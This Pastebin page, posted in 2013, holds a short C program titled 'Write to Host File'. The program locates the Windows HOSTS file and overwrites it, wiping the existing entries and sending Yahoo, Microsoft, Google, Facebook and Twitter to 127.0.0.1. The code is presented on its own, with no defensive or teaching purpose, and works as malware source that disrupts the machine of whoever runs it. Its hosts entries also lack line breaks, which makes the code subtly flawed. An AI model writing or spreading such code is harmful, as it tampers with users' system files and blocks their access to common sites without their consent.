Advertisement
The_KGB

[Windows} Write to Host File

Mar 8th, 2013
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.76 KB | None | 0 0
  1. /*
  2. Modifying Host File
  3. */
  4.  
  5. #include<windows.h>
  6. #include<functions.h>
  7. #include<fstream>
  8.  
  9. void hst(void);
  10.  
  11.  
  12. void hst(void)
  13. {
  14. char hst[MAX_PATH];
  15. DWORD byte;
  16. HANDLE hFile;
  17. BOOL bSuccess;
  18. GetSystemDirectory(hst, sizeof(hst));
  19.  
  20. strcat(hst, "\\Drivers\\ETC\\HOSTS");
  21. const char* buffer = "127.0.0.1 yahoo.com 127.0.0.1 www.yahoo.com 127.0.0.1 microsoft.com 127.0.0.1 www.microsoft.com 127.0.0.1 www.google.com 127.0.0.1 google.com 127.0.0.1 facebook.com 127.0.0.1 www.facebook.com 127.0.0.1 www.twitter.com";
  22. hFile = CreateFile(hst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  23. bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
  24. CloseHandle(hFile);      
  25. }
  26. void runn()
  27. {
  28.     hst();
  29. }
  30.  
  31. int main()
  32. {
  33.  
  34.     runn();
  35.  
  36. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement